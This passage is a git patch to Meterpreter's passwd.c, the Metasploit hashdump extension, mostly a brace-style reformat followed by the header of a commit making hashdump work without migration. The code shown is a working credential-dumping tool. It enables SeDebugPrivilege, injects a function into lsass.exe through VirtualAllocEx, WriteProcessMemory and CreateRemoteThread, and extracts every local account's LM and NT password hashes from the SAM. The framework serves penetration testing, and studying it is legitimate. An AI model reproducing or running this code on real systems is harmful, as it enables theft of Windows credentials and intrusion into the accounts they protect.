 	/* kernel32 function pointers */
 	LoadLibraryType			LoadLibrary;
@@ -119,19 +123,26 @@ typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
 
 
 
-char *StringCombine(char *string1, char *string2) {
+char *StringCombine(char *string1, char *string2)
+{
 	size_t s1len, s2len;
 
-	if (string2 == NULL) { // nothing to append
+	if (string2 == NULL)
+	{
+		// nothing to append
 		return string1;
 	}
 
 	// TODO: what do we want to do if memory allocation fails?
 	s2len = strlen(string2);
-	if (string1 == NULL) { // create a new string
+	if (string1 == NULL)
+	{
+		// create a new string
 		string1 = (char *)malloc(s2len + 1);
 		strncpy_s(string1, s2len + 1, string2, s2len + 1);
-	} else {			   // append data to the string
+	}
+	else
+	{			   // append data to the string
 		s1len = strlen(string1);
 		string1 = (char *)realloc(string1, s1len + s2len + 1);
 		strncat_s(string1, s1len + s2len + 1, string2, s2len + 1);
@@ -141,7 +152,8 @@ char *StringCombine(char *string1, char *string2) {
 }
 
 /* retrieve a handle to lsass.exe */
-HANDLE GetLsassHandle() {
+HANDLE GetLsassHandle()
+{
 
 	DWORD	dwProcessList[1024];
 	DWORD	dwProcessListSize;
@@ -150,17 +162,24 @@ HANDLE GetLsassHandle() {
 	DWORD	dwCount;
 
 	/* enumerate all pids on the system */
-	if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize)) {
+	if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize))
+	{
 
 		/* only look in the first 256 process ids for lsass.exe */
 		if (dwProcessListSize > sizeof(dwProcessList))
+		{
 			dwProcessListSize = sizeof(dwProcessList);
+		}
 
 		/* iterate through all pids, retrieve the executable name, and match to lsass.exe */
-		for (dwCount = 0; dwCount < dwProcessListSize; dwCount++) {
-			if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount])) {
-				if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))) {
-					if (strcmp(szProcessName, "lsass.exe") == 0) {
+		for (dwCount = 0; dwCount < dwProcessListSize; dwCount++)
+		{
+			if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount]))
+			{
+				if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName)))
+				{
+					if (strcmp(szProcessName, "lsass.exe") == 0)
+					{
 						return hProcess;
 					}
 				}
@@ -172,19 +191,21 @@ HANDLE GetLsassHandle() {
 }
 
 /* set the process to have the SE_DEBUG_NAME privilige */
-int SetAccessPriv() {
-
+int SetAccessPriv()
+{
     HANDLE hToken;
     TOKEN_PRIVILEGES priv;
 
 	/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
-	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
-		if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {
-
+	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
+	{
+		if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
+		{
 			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 			priv.PrivilegeCount = 1;
  
-			if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) {
+			if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
+			{
 				CloseHandle(hToken);
 				return 1;
 			}
@@ -194,8 +215,8 @@ int SetAccessPriv() {
 	return 0;
 }
 
-int dumpSAM(FUNCTIONARGS *fargs) {
-
+int dumpSAM(FUNCTIONARGS *fargs)
+{
 	/* variables for samsrv function pointers */
 	HANDLE hSamSrv = NULL, hSam = NULL;
 	SamIConnectType pSamIConnect;
@@ -244,7 +265,11 @@ int dumpSAM(FUNCTIONARGS *fargs) {
 
 	/* load samsrv functions */
 	hSamSrv = fargs->LoadLibrary(fargs->samsrvdll);
-	if (hSamSrv == NULL) { dwError = 1; goto cleanup; }	
+	if (hSamSrv == NULL)
+	{
+		dwError = 1;
+		goto cleanup;
+	}	
 	
 	pSamIConnect = (SamIConnectType)fargs->GetProcAddress(hSamSrv, fargs->samiconnect);
 	pSamrOpenDomain = (SamrOpenDomainType)fargs->GetProcAddress(hSamSrv, fargs->samropendomain);
@@ -254,37 +279,63 @@ int dumpSAM(FUNCTIONARGS *fargs) {
 	pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_user_info_buffer);
 	pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_enumeration_buffer);
 	pSamrCloseHandle = (SamrCloseHandleType)fargs->GetProcAddress(hSamSrv, fargs->samrclosehandle);	
+
 	if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser || 
-		!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle) {
-			dwError = 1;
-			goto cleanup;
-		}
+		!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	/* load advadpi32 functions */
 	hAdvApi32 = fargs->LoadLibrary(fargs->advapi32dll);
-	if (hAdvApi32 == NULL) { dwError = 1; goto cleanup; }
+	if (hAdvApi32 == NULL)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	pLsaOpenPolicy = (LsaOpenPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaopenpolicy);
 	pLsaQueryInformationPolicy = (LsaQueryInformationPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaqueryinformationpolicy);
 	pLsaClose = (LsaCloseType)fargs->GetProcAddress(hAdvApi32, fargs->lsaclose);
-	if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose) { dwError = 1; goto cleanup; }
+	if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	/* load msvcrt functions */
 	hMsvcrt = fargs->LoadLibrary(fargs->msvcrtdll);
-	if (hMsvcrt == NULL) { dwError = 1; goto cleanup; }
+	if (hMsvcrt == NULL)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	pMalloc = (MallocType)fargs->GetProcAddress(hMsvcrt, fargs->malloc);
 	pRealloc = (ReallocType)fargs->GetProcAddress(hMsvcrt, fargs->realloc);
 	pFree = (FreeType)fargs->GetProcAddress(hMsvcrt, fargs->free);
 	pMemcpy = (MemcpyType)fargs->GetProcAddress(hMsvcrt, fargs->memcpy);
-	if (!pMalloc || !pRealloc || !pFree || !pMemcpy) { dwError = 1; goto cleanup; }
+	if (!pMalloc || !pRealloc || !pFree || !pMemcpy)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	/* load ntdll functions */
 	hNtDll = fargs->LoadLibrary(fargs->ntdlldll);
-	if (hNtDll == NULL) { dwError = 1; goto cleanup; }
+	if (hNtDll == NULL)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 	
 	pWcstombs = (WcstombsType)fargs->GetProcAddress(hNtDll, fargs->wcstombs);
-	if (!pWcstombs) { dwError = 1; goto cleanup; }
+	if (!pWcstombs)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	/* initialize the LSA_OBJECT_ATTRIBUTES structure */
 	ObjectAttributes.RootDirectory = NULL;
@@ -295,39 +346,83 @@ int dumpSAM(FUNCTIONARGS *fargs) {
 	ObjectAttributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
 
 	/* open a handle to the LSA policy */
-	if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0) { dwError = 1; goto cleanup; }
-	if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0) { dwError = 1; goto cleanup; }
+	if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
+	if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	/* connect to the SAM database */
-	if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0) { dwError = 1; goto cleanup; }
-	if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0) { dwError = 1; goto cleanup; }
+	if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
+	if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 	/* enumerate all users and store username, rid, and hashes */
-	do {
+	do
+	{
 		status = pSamrEnumerateUsersInDomain(hDomain, &hEnumerationHandle, 0, &pEnumeratedUsers, 0xFFFF, &dwNumberOfUsers);
-		if (status < 0) { break; }	// error
+		if (status < 0)
+		{
+			break;
+		}	// error
 									// 0x0 = no more, 0x105 = more users
-		if (!dwNumberOfUsers) { break; }	// exit if no users remain
+		if (!dwNumberOfUsers)
+		{
+			break;
+		}	// exit if no users remain
 
-		if (fargs->dwDataSize == 0) {	// first allocation
+		if (fargs->dwDataSize == 0)
+		{	// first allocation
 			fargs->dwDataSize = dwNumberOfUsers * sizeof(USERNAMEHASH);
 			fargs->pUsernameHashData = pMalloc(fargs->dwDataSize);
-		} else {						// subsequent allocations
+		}
+		else
+		{						// subsequent allocations
 			fargs->dwDataSize += dwNumberOfUsers * sizeof(USERNAMEHASH);
 			fargs->pUsernameHashData = pRealloc(fargs->pUsernameHashData, fargs->dwDataSize);
 		}
-		if (fargs->pUsernameHashData == NULL) { dwError = 1; goto cleanup; }
+		if (fargs->pUsernameHashData == NULL)
+		{
+			dwError = 1;
+			goto cleanup;
+		}
 
-		for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++) {
+		for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++)
+		{
 
-			if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0) { dwError = 1; goto cleanup; }
-			if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0) { dwError = 1; goto cleanup; }
+			if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0)
+			{
+				dwError = 1;
+				goto cleanup;
+			}
+			if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0)
+			{
+				dwError = 1;
+				goto cleanup;
+			}
 
 			/* allocate space for another username */
 			dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2);
 			(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength + 1);
-			if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL) { dwError = 1; goto cleanup; } 
-			for ( i=0; i < (dwUsernameLength + 1); i++ ) {
+			if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL)
+			{
+				dwError = 1;
+				goto cleanup;
+			} 
+			for ( i=0; i < (dwUsernameLength + 1); i++ )
+			{
 				(fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
 			}
 			
@@ -354,18 +449,35 @@ int dumpSAM(FUNCTIONARGS *fargs) {
 
 	/* set the event to signify that the data is ready */
 	hReadLock = fargs->OpenEvent(EVENT_MODIFY_STATE, FALSE, fargs->ReadSyncEvent);
-	if (hReadLock == NULL) { dwError = 1; goto cleanup; }
-	if (fargs->SetEvent(hReadLock) == 0) { dwError = 1; goto cleanup; }
+	if (hReadLock == NULL)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
+	if (fargs->SetEvent(hReadLock) == 0)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 	
 	/* wait for the copying to finish before freeing all the allocated memory */
 	hFreeLock = fargs->OpenEvent(EVENT_ALL_ACCESS, FALSE, fargs->FreeSyncEvent);
-	if (hFreeLock == NULL) { dwError = 1; goto cleanup; }
-	if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0) { dwError = 1; goto cleanup; }
+	if (hFreeLock == NULL)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
+	if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0)
+	{
+		dwError = 1;
+		goto cleanup;
+	}
 
 cleanup: 
 
 	/* free all the allocated memory */
-	for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++) {
+	for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++)
+	{
 		pFree((fargs->pUsernameHashData)[dwCurrentUser].Username);
 	}
 	pFree(fargs->pUsernameHashData);
@@ -376,10 +488,21 @@ cleanup:
 	pLsaClose(hLSA);
 
 	/* free library handles */
-	if (hSamSrv) { fargs->FreeLibrary(hSamSrv);	}
-	if (hAdvApi32) { fargs->FreeLibrary(hAdvApi32); }
-	if (hMsvcrt) { fargs->FreeLibrary(hMsvcrt); }
-	if (hNtDll) { fargs->FreeLibrary(hNtDll); }
+	if (hSamSrv)
+	{
+		fargs->FreeLibrary(hSamSrv);	}
+	if (hAdvApi32)
+	{
+		fargs->FreeLibrary(hAdvApi32);
+	}
+	if (hMsvcrt)
+	{
+		fargs->FreeLibrary(hMsvcrt);
+	}
+	if (hNtDll)
+	{
+		fargs->FreeLibrary(hNtDll);
+	}
 
 	/* signal that the memory deallocation is complete */
 	fargs->SetEvent(hReadLock);
@@ -399,13 +522,17 @@ void sizer() { __asm { ret } }
 #endif
 
 /* initialize the context structure - returns 0 on success, return 1 on error */
-int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
+int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait)
+{
 
 	HMODULE hLibrary = NULL;
 
 	/* set loadlibrary and getprocaddress function addresses */
 	hLibrary = LoadLibrary("kernel32");
-	if (hLibrary == NULL) { return 1; }
+	if (hLibrary == NULL)
+	{
+		return 1;
+	}
 
 	fargs->LoadLibrary = (LoadLibraryType)GetProcAddress(hLibrary, "LoadLibraryA");
 	fargs->GetProcAddress = (GetProcAddressType)GetProcAddress(hLibrary, "GetProcAddress");
@@ -415,7 +542,8 @@ int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
 	fargs->CloseHandle = (CloseHandleType)GetProcAddress(hLibrary, "CloseHandle");
 	fargs->WaitForSingleObject = (WaitForSingleObjectType)GetProcAddress(hLibrary, "WaitForSingleObject");
 
-	if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject) { 
+	if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject)
+	{ 
 		CloseHandle(hLibrary);
 		return 1;
 	}
@@ -470,7 +598,8 @@ control function driving the dumping - return 0 on success, 1 on error
 
 dwMillisecondsToWait = basically controls how long to wait for the results
 */
-int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) {
+int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults)
+{
 
 	HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
 	LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
@@ -487,27 +616,39 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 	char buffer[100];
 	/* END METERPRETER CODE */
 
-	do {
+	do
+	{
 
 		/* ORANGE control input - move this to the client perl side */
-		if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; }
-		if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; }
+		if (dwMillisecondsToWait < 60000)
+		{
+			dwMillisecondsToWait = 60000;
+		}
+		if (dwMillisecondsToWait > 300000)
+		{
+			dwMillisecondsToWait = 300000;
+		}
 
 		/* create the event kernel sync objects */
 		hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
 		hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
-		if (!hReadLock || !hFreeLock) { dwError = 1; break; }
+		if (!hReadLock || !hFreeLock)
+		{
+			dwError = 1; break;
+		}
 
 		/* calculate the function size */
 		FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
-		if (FunctionSize <= 0) {
+		if (FunctionSize <= 0)
+		{
 			dprintf("Error calculating the function size.\n");
 			dwError = 1;
 			break;
 		}
 
 		/* set access priv */
-		if (SetAccessPriv() == 0) {
+		if (SetAccessPriv() == 0)
+		{
 			dprintf("Error setting SE_DEBUG_NAME privilege\n");
 			dwError = 1;
 			break;
@@ -515,82 +656,138 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 
 		/* get the lsass handle */
 		hLsassHandle = GetLsassHandle();
-		if (hLsassHandle == 0) {
+		if (hLsassHandle == 0)
+		{
 			dprintf("Error getting lsass.exe handle.\n");
 			dwError = 1;
 			break;
 		}
 
 		/* set the arguments in the context structure */
-		if (setArgs(&InitFunctionArguments, dwMillisecondsToWait)) { dwError = 1; break; }
+		if (setArgs(&InitFunctionArguments, dwMillisecondsToWait))
+		{
+			dwError = 1; break;
+		}
 
 		/* allocate memory for the context structure */
 		pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-		if (pvParameterMemory == NULL) { dwError = 1; break; }
+		if (pvParameterMemory == NULL)
+		{
+			dwError = 1; break;
+		}
 
 		/* write context structure into remote process */
-		if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
-		if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
+		if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0)
+		{
+			dwError = 1; break;
+		}
+		if (sBytesWritten != sizeof(InitFunctionArguments))
+		{
+			dwError = 1; break;
+		}
 		sBytesWritten = 0;
 
 		/* allocate memory for the function */
 		pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-		if (pvFunctionMemory == NULL) { dwError = 1; break; }
+		if (pvFunctionMemory == NULL)
+		{
+			dwError = 1; break;
+		}
 
 		/* write the function into the remote process */
-		if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
-		if (sBytesWritten != FunctionSize) { dwError = 1; break; }
+		if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0)
+		{
+			dwError = 1; break;
+		}
+		if (sBytesWritten != FunctionSize)
+		{
+			dwError = 1; break;
+		}
 		sBytesWritten = 0;
 
 		/* start the remote thread */
-		if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
-		
+		if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL)
+		{
+			dwError = 1; break;
+		}
+
 		/* wait until the data is ready to be collected */
-		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
+		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
+		{
 			dprintf("Timed out waiting for the data to be collected.\n");
 			dwError = 1;
 			break;
 		}
 
 		/* read results of the injected function */
-		if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
-		if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
+		if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0)
+		{
+			dwError = 1; break;
+		}
+		if (sBytesRead != sizeof(InitFunctionArguments))
+		{
+			dwError = 1; break;
+		}
 		sBytesRead = 0;
 
 		/* allocate space for the results */
 		UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
-		if (UsernameHashResults == NULL) { dwError = 1; break; }
+		if (UsernameHashResults == NULL)
+		{
+			dwError = 1; break;
+		}
 
 		/* determine the number of elements and copy over the data */
 		dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);
 
 		/* copy the context structure */
-		if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
-		if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
+		if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0)
+		{
+			break;
+		}
+		if (sBytesRead != FinalFunctionArguments.dwDataSize)
+		{
+			break;
+		}
 		sBytesRead = 0;
 
 		// save the old mem addy, malloc new space, copy over the data, free the old mem addy
-		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
+		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
+		{
 			UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
-			
-			UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
-			if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
 
-			if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
-			if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
-			UsernameHashResults[dwCurrentUserIndex].Username[  UsernameHashResults[dwCurrentUserIndex].Length ] = 0;
+			UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
+			if (UsernameHashResults[dwCurrentUserIndex].Username == NULL)
+			{
+				dwError = 1; break;
+			}
+
+			if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0)
+			{
+				dwError = 1; break;
+			}
+			if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length)
+			{
+				dwError = 1; break;
+			}
+			UsernameHashResults[dwCurrentUserIndex].Username[UsernameHashResults[dwCurrentUserIndex].Length] = 0;
 		}
 
 		/* signal that all data has been read and wait for the remote memory to be free'd */
-		if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
-		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
+		if (SetEvent(hFreeLock) == 0)
+		{
+			dwError = 1; break;
+		}
+		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
+		{
 			dprintf("The timeout hit.\n");
 			dwError = 1;
 			break;
 		}
 
 		/* display the results and free the malloc'd memory for the username */
-		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
+		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
+		{
 
 			/* METERPRETER CODE */
 			hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
@@ -601,24 +798,26 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 			/* END METERPRETER CODE */
 
 			//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
-			for (HashIndex = 16; HashIndex < 32; HashIndex++) {
-				/* ORANGE - insert check for ***NO PASSWORD***		
+			for (HashIndex = 16; HashIndex < 32; HashIndex++)
+			{
+				/* ORANGE - insert check for ***NO PASSWORD***
 					if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
-                    && (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
-                    sprintf( LMdata, "NO PASSWORD*********************" );
-				*/
+					&& (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
+					sprintf( LMdata, "NO PASSWORD*********************" );
+					*/
 				_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
 				hashstring = StringCombine(hashstring, buffer);
 				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
 			}
 			hashstring = StringCombine(hashstring, ":");
 			//printf(":");
-			for (HashIndex = 0; HashIndex < 16; HashIndex++) {
+			for (HashIndex = 0; HashIndex < 16; HashIndex++)
+			{
 				/* ORANGE - insert check for ***NO PASSWORD***
 					if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
-                    && (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
-                    sprintf( NTdata, "NO PASSWORD*********************" );
-				*/
+					&& (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
+					sprintf( NTdata, "NO PASSWORD*********************" );
+					*/
 				_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
 				hashstring = StringCombine(hashstring, buffer);
 				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
@@ -627,30 +826,51 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
 			hashstring = StringCombine(hashstring, ":::\n");
 			//printf(":::\n");
 		}
-	} while(0);
+	} while (0);
 
 	/* relesase the event objects */
-	if (hReadLock) { CloseHandle(hReadLock); }
-	if (hFreeLock) { CloseHandle(hFreeLock); }
+	if (hReadLock)
+	{
+		CloseHandle(hReadLock);
+	}
+	if (hFreeLock)
+	{
+		CloseHandle(hFreeLock);
+	}
 
 	/* close handle to lsass */
-	if (hLsassHandle) { CloseHandle(hLsassHandle); }
+	if (hLsassHandle)
+	{
+		CloseHandle(hLsassHandle);
+	}
 
 	/* free the context structure and the injected function and the results */
-	if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); }
-	if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE); }
+	if (pvParameterMemory)
+	{
+		VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE);
+	}
+	if (pvFunctionMemory)
+	{
+		VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE);
+	}
 
 	/* free the remote thread handle */
-	if (hThreadHandle) { CloseHandle(hThreadHandle); }
+	if (hThreadHandle)
+	{
+		CloseHandle(hThreadHandle);
+	}
 
 	/* free the results structure including individually malloced space for usernames */
-	if (UsernameHashResults) { 
-		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
-			if (UsernameHashResults[dwCurrentUserIndex].Username) {
+	if (UsernameHashResults)
+	{
+		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
+		{
+			if (UsernameHashResults[dwCurrentUserIndex].Username)
+			{
 				free(UsernameHashResults[dwCurrentUserIndex].Username);
 			}
 		}
-		free(UsernameHashResults); 
+		free(UsernameHashResults);
 	}
 
 	/* return hashresults */

From 3e8025eae818e401bae69a473bacdf1ff2d05d1e Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 24 Jan 2014 20:23:43 +1000
Subject: [PATCH 08/20] Fix hashdump so it works without migrating

Hashdumping on Windows XP and earlier worked fine for processes
running as SYSTEM because CreateRemoteThread didn't have security
in place that Vista and later operating systems do. However, Vista
onwards required migration to SYSTEM processes (which behind the
scenes uses injection via APC) before hashdumping would succeed.

This commit fixes this so that in those cases the hidden API function
RtlCreateUserThread() to create the remote thread in lsass exe. The
result is that hashdumping works without having to migrate first.

Win.
---
 .../source/extensions/priv/server/passwd.c    | 463 ++++++++++++------
 1 file changed, 310 insertions(+), 153 deletions(-)

diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c
index 8b93cef8..18469492 100644
--- a/c/meterpreter/source/extensions/priv/server/passwd.c
+++ b/c/meterpreter/source/extensions/priv/server/passwd.c
